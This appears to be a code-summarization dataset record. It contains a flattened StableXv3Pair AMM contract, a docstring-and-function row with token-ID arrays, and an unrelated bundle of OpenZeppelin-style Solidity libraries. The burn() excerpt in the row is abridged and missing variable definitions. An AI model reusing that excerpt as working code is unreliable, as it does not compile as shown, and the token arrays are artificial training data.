function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// Dependency file: contracts/interfaces/IStableXv3Callee.sol
// pragma solidity =0.6.12;
interface IStableXv3Callee {
function StableXv3Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// Root file: contracts/StableXv3Pair.sol
pragma solidity =0.6.12;
// import 'contracts/StableXv3ERC20.sol';
// import 'contracts/libraries/Math.sol';
// import 'contracts/libraries/UQ112x112.sol';
// import 'contracts/interfaces/IERC20.sol';
// import 'contracts/interfaces/IyToken.sol';
// import 'contracts/interfaces/IStableXv3Factory.sol';
// import 'contracts/interfaces/IStableXv3Callee.sol';
contract StableXv3Pair is StableXv3ERC20 {
using SafeMathStableX for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR_APPROVE = 0x095ea7b3;
bytes4 private constant SELECTOR_TRANSFER = 0xa9059cbb;
address public factory;
address public token0;
address public token1;
address public yToken0;
address public yToken1;
uint16 redepositRatio0;
uint16 redepositRatio1;
uint public deposited0;
uint public deposited1;
uint112 public dummy0;
uint112 public dummy1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint16 public fee = 30;
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'StableXv3: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
function owner() public view returns (address) {
return IStableXv3Factory(factory).feeTo();
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function getDeposited() public view returns (uint _deposited0, uint _deposited1) {
_deposited0 = deposited0;
_deposited1 = deposited1;
}
function getDummy() public view returns (uint _dummy0, uint _dummy1) {
_dummy0 = dummy0;
_dummy1 = dummy1;
}
function _safeApprove(address token, address spender, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR_APPROVE, spender, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'SAFE_APPROVE_FAILED');
}
function _safeTransfer(address token, address to, uint value) private {
IERC20 u = IERC20(token);
uint b = u.balanceOf(address(this));
if (b < value) {
if (token == token0) {
_withdrawAll0();
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR_TRANSFER, to, value));
if (redepositRatio0 > 0) {
redeposit0();
}
require(success && (data.length == 0 || abi.decode(data, (bool))), 'StableXv3: TRANSFER_FAILED');
} else {
_withdrawAll1();
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR_TRANSFER, to, value));
if (redepositRatio1 > 0) {
redeposit1();
}
require(success && (data.length == 0 || abi.decode(data, (bool))), 'StableXv3: TRANSFER_FAILED');
}
} else {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR_TRANSFER, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'StableXv3: TRANSFER_FAILED');
}
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event DummyMint(uint amount0, uint amount1);
event DummyBurn(uint amount0, uint amount1);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
event FeeUpdated(uint16 fee);
event Y0Updated(address indexed token);
event Y1Updated(address indexed token);
event Deposited0Updated(uint deposited);
event Deposited1Updated(uint deposited);
event RedepositRatio0Updated(uint16 ratio);
event RedepositRatio1Updated(uint16 ratio);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'StableXv3: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'StableXv3: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// this low-level function should be called from a contract which performs // important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = b0();
uint balance1 = b1();
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
_reserve0 -= dummy0;
_reserve1 -= dummy1;
uint _totalSupply = totalSupply; // gas savings
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_reserve0 += dummy0;
_reserve1 += dummy1;
_update(balance0, balance1, _reserve0, _reserve1);
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs // important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = b0().sub(dummy0);
uint balance1 = b1().sub(dummy1);
uint liquidity = balanceOf[address(this)];
uint _totalSupply = totalSupply; // gas savings
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'StableXv3: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = b0();
balance1 = b1();
_update(balance0, balance1, _reserve0, _reserve1);
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs // important safety checks
function dummy_mint(uint amount0, uint amount1) external onlyOwner() lock {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
dummy0 += uint112(amount0);
dummy1 += uint112(amount1);
emit DummyMint(amount0, amount1);
_update(b0(), b1(), _reserve0, _reserve1);
}
// this low-level function should be called from a contract which performs // important safety checks
function dummy_burn(uint amount0, uint amount1) external onlyOwner() lock {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
dummy0 -= uint112(amount0);
dummy1 -= uint112(amount1);
emit DummyBurn(amount0, amount1);
_update(b0(), b1(), _reserve0, _reserve1);
}
// this low-level function should be called from a contract which performs // important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'StableXv3: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'StableXv3: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'StableXv3: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IStableXv3Callee(to).StableXv3Call(msg.sender, amount0Out, amount1Out, data);
balance0 = b0();
balance1 = b1();
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'StableXv3: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(fee));
uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(fee));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(10000**2), 'StableXv3: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, b0().sub(reserve0));
_safeTransfer(_token1, to, b1().sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(b0(), b1(), reserve0, reserve1);
}
function setFee(uint16 _fee) external onlyOwner() {
fee = _fee;
emit FeeUpdated(_fee);
}
// vault
function b0() public view returns (uint b) {
IERC20 u = IERC20(token0);
b = u.balanceOf(address(this)).add(deposited0).add(dummy0);
}
function b1() public view returns (uint b) {
IERC20 u = IERC20(token1);
b = u.balanceOf(address(this)).add(deposited1).add(dummy1);
}
function approve0() public onlyOwner() {
_safeApprove(token0, yToken0, uint(-1));
}
function approve1() public onlyOwner() {
_safeApprove(token1, yToken1, uint(-1));
}
function unapprove0() public onlyOwner() {
_safeApprove(token0, yToken0, 0);
}
function unapprove1() public onlyOwner() {
_safeApprove(token1, yToken1, 0);
}
function setY0(address y) public onlyOwner() {
yToken0 = y;
emit Y0Updated(y);
approve0();
}
function setY1(address y) public onlyOwner() {
yToken1 = y;
emit Y1Updated(y);
approve1();
}
function deposit0(uint a) internal {
require(a > 0, "deposit amount must be greater than 0");
IyToken y = IyToken(yToken0);
deposited0 += a;
emit Deposited0Updated(deposited0);
y.deposit(a);
}
function deposit1(uint a) internal {
require(a > 0, "deposit amount must be greater than 0");
IyToken y = IyToken(yToken1);
deposited1 += a;
emit Deposited1Updated(deposited1);
y.deposit(a);
}
function depositSome0(uint a) onlyOwner() external {
deposit0(a);
}
function depositSome1(uint a) onlyOwner() external {
deposit1(a);
}
function depositAll0() onlyOwner() external {
IERC20 u = IERC20(token0);
deposit0(u.balanceOf(address(this)));
}
function depositAll1() onlyOwner() external {
IERC20 u = IERC20(token1);
deposit1(u.balanceOf(address(this)));
}
function redeposit0() internal {
IERC20 u = IERC20(token0);
deposit0(u.balanceOf(address(this)).mul(redepositRatio0).div(1000));
}
function redeposit1() internal {
IERC20 u = IERC20(token1);
deposit1(u.balanceOf(address(this)).mul(redepositRatio1).div(1000));
}
function set_redepositRatio0(uint16 _redpositRatio0) onlyOwner() external {
require(_redpositRatio0 <= 1000, "ratio too large");
redepositRatio0 = _redpositRatio0;
emit RedepositRatio0Updated(_redpositRatio0);
}
function set_redepositRatio1(uint16 _redpositRatio1) onlyOwner() external {
require(_redpositRatio1 <= 1000, "ratio too large");
redepositRatio1 = _redpositRatio1;
emit RedepositRatio1Updated(_redpositRatio1);
}
function _withdraw0(uint s) internal {
require(s > 0, "withdraw amount must be greater than 0");
IERC20 u = IERC20(token0);
uint delta = u.balanceOf(address(this));
IyToken y = IyToken(yToken0);
y.withdraw(s);
delta = u.balanceOf(address(this)).sub(delta);
if (delta <= deposited0) {
deposited0 -= delta;
} else {
delta -= deposited0; deposited0 = 0;
_safeTransfer(token0, owner(), delta);
}
emit Deposited0Updated(deposited0);
}
function _withdraw1(uint s) internal {
require(s > 0, "withdraw amount must be greater than 0");
IERC20 u = IERC20(token1);
uint delta = u.balanceOf(address(this));
IyToken y = IyToken(yToken1);
y.withdraw(s);
delta = u.balanceOf(address(this)).sub(delta);
if (delta <= deposited1) {
deposited1 -= delta;
} else {
delta -= deposited1; deposited1 = 0;
_safeTransfer(token1, owner(), delta);
}
emit Deposited1Updated(deposited1);
}
function _withdrawAll0() internal {
IERC20 y = IERC20(yToken0);
_withdraw0(y.balanceOf(address(this)));
}
function _withdrawAll1() internal {
IERC20 y = IERC20(yToken1);
_withdraw1(y.balanceOf(address(this)));
}
function withdraw0(uint s) external onlyOwner() {
_withdraw0(s);
}
function withdraw1(uint s) external onlyOwner() {
_withdraw1(s);
}
function withdrawAll0() external onlyOwner() {
_withdrawAll0();
}
function withdrawAll1() external onlyOwner() {
_withdrawAll1();
}
}
| this low-level function should be called from a contract which performs important safety checks | function burn(address to) external lock returns (uint amount0, uint amount1) {
uint balance0 = b0().sub(dummy0);
uint balance1 = b1().sub(dummy1);
uint liquidity = balanceOf[address(this)];
require(amount0 > 0 && amount1 > 0, 'StableXv3: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = b0();
balance1 = b1();
_update(balance0, balance1, _reserve0, _reserve1);
emit Burn(msg.sender, amount0, amount1, to);
}
| 13,133,333 | [
1,
2211,
4587,
17,
2815,
445,
1410,
506,
2566,
628,
279,
6835,
1492,
11199,
225,
10802,
24179,
4271,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
18305,
12,
2867,
358,
13,
3903,
2176,
1135,
261,
11890,
3844,
20,
16,
2254,
3844,
21,
13,
288,
203,
3639,
2254,
11013,
20,
273,
324,
20,
7675,
1717,
12,
21050,
20,
1769,
203,
3639,
2254,
11013,
21,
273,
324,
21,
7675,
1717,
12,
21050,
21,
1769,
203,
3639,
2254,
4501,
372,
24237,
273,
11013,
951,
63,
2867,
12,
2211,
13,
15533,
203,
203,
3639,
2583,
12,
8949,
20,
405,
374,
597,
3844,
21,
405,
374,
16,
296,
30915,
60,
90,
23,
30,
2120,
6639,
42,
1653,
7266,
2222,
67,
2053,
53,
3060,
4107,
67,
38,
8521,
2056,
8284,
203,
3639,
389,
70,
321,
12,
2867,
12,
2211,
3631,
4501,
372,
24237,
1769,
203,
3639,
389,
4626,
5912,
24899,
2316,
20,
16,
358,
16,
3844,
20,
1769,
203,
3639,
389,
4626,
5912,
24899,
2316,
21,
16,
358,
16,
3844,
21,
1769,
203,
3639,
11013,
20,
273,
324,
20,
5621,
203,
3639,
11013,
21,
273,
324,
21,
5621,
203,
203,
3639,
389,
2725,
12,
12296,
20,
16,
11013,
21,
16,
389,
455,
6527,
20,
16,
389,
455,
6527,
21,
1769,
203,
3639,
3626,
605,
321,
12,
3576,
18,
15330,
16,
3844,
20,
16,
3844,
21,
16,
358,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: contracts\gsn\Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: contracts\access\Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts\utils\Pausable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File: contracts\token\erc721\IERC721Enumerable.sol
pragma solidity ^0.5.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: contracts\libs\SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
}
// File: contracts\libs\Counters.sol
pragma solidity ^0.5.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
// File: contracts\libs\Address.sol
pragma solidity ^0.5.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
}
// File: contracts\token\erc721\IERC721.sol
pragma solidity ^0.5.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 {
/**
* @dev Emitted when `tokenId` token is transfered from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from`, `to` cannot be zero.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from`, `to` cannot be zero.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from`, `to` cannot be zero.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: contracts\token\erc721\IERC721Receiver.sol
pragma solidity ^0.5.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a {IERC721-safeTransferFrom}. This function MUST return the function selector,
* otherwise the caller will revert the transaction. The selector to be
* returned can be obtained as `this.onERC721Received.selector`. This
* function MAY throw to revert and reject the transfer.
* Note: the ERC721 contract address is always the message sender.
* @param operator The address which called `safeTransferFrom` function
* @param from The address which previously owned the token
* @param tokenId The NFT identifier which is being transferred
* @param data Additional data with no specified format
* @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// File: contracts\token\erc721\IERC165.sol
